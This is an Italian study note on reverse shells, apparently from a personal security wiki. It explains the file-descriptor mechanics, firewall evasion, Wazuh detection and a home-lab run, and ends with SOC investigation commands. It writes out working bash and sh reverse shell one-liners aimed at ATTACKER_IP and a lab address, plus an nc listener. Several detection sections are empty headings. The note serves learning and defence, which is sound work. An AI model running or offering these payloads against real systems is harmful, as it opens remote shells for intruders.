Reverse Shell

Cosa fa

#

Tecnica di accesso remoto in cui e' la vittima a iniziare la connessione verso l'attaccante. L'attaccante riceve una shell interattiva sulla propria macchina senza dover raggiungere la vittima dall'esterno.

TL;DR

#

Bind shell (classica):   attaccante → si connette → vittima
Reverse shell:           vittima → si connette → attaccante

La vittima e' il client, l'attaccante e' il server. Questo bypassa i firewall che bloccano connessioni in ingresso ma permettono quelle in uscita.

Come funziona — file descriptor

#

bash -i >& /dev/tcp/192.168.64.200/4444 0>&1

Risultato: tutti e tre i file descriptor (stdin/stdout/stderr) viaggiano sul canale TCP.

• Kali digita → va in stdin di bash su Ubuntu
• Bash risponde → torna a Kali via stdout/stderr

fd0 (stdin)  ←─┐
fd1 (stdout) ──┼──→ /dev/tcp/192.168.64.200/4444 ──→ Kali nc -lvnp 4444
fd2 (stderr) ──┘

Come la esegue un attaccante reale

#

L'attaccante non ha accesso diretto alla macchina — deve prima ottenere RCE (Remote Code Execution). Vettori comuni:

Una volta ottenuta l'esecuzione di un singolo comando, il payload e' sempre lo stesso:

# Linux
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1

# Variante con /bin/sh (piu' portabile)
/bin/sh -i >& /dev/tcp/ATTACKER_IP/4444 0>&1

Sul lato attaccante, netcat in ascolto:

nc -lvnp 4444
# -l  listen — modalita' server
# -v  verbose — mostra connessioni
# -n  numeric — nessuna risoluzione DNS
# -p  port — porta su cui ascoltare

Perche' bypassa i firewall

#

I firewall aziendali bloccano tipicamente le connessioni in ingresso verso le workstation — ma permettono quelle in uscita (browsing, email, aggiornamenti).

Firewall regola:  BLOCK inbound TCP → workstation
Reverse shell:    workstation → outbound TCP → attaccante ✓ PASSA

Questo e' il motivo per cui e' piu' usata rispetto alla bind shell, dove l'attaccante si connette alla vittima (bloccato dal firewall).

Cosa vede Wazuh out-of-the-box

#

La reverse shell bash -i >& /dev/tcp/... e' silenziosa — non genera log in /var/log/auth.log da sola.

Wazuh rileva solo le azioni eseguite dentro la shell che finiscono nei log:

Come rilevarla davvero

#

Lab eseguito

#

Data: 2026-04-26 | Ambiente: Kali (192.168.64.200) → Ubuntu (192.168.64.3)

# Kali — attaccante
nc -lvnp 4444

# Ubuntu — vittima (eseguito dopo aver ottenuto accesso via terminale)
bash -i >& /dev/tcp/192.168.64.200/4444 0>&1

Alert Wazuh catturato: sessione sudo su eseguita dalla reverse shell → auth.log → agent → manager → dashboard.

Scenario Reale

#

Un analista SOC vede in Wazuh un alert: sudo eseguito da un processo con parent PID insolito. Invece di un terminale interattivo, il parent e' bash avviato da un processo web. Sequenza investigativa:

# Chi ha aperto la connessione TCP verso l'esterno?
ss -tnp | grep bash

# Quale processo padre ha avviato bash?
ps aux | grep bash
lsof -p <PID> | grep TCP

# Quando e' iniziato?
# → timestamp dell'alert Wazuh + auth.log

Collegato a

#

• netcat — tool usato dall'attaccante per ricevere la shell
• network — vettore piu' comune per eseguire il payload
• file-descriptor — spiega i redirect stdin/stdout/stderr
• wazuh-architecture — SIEM usato per il rilevamento
• ss — rileva connessioni TCP aperte da bash
• lsof — identifica il processo che tiene aperta la connessione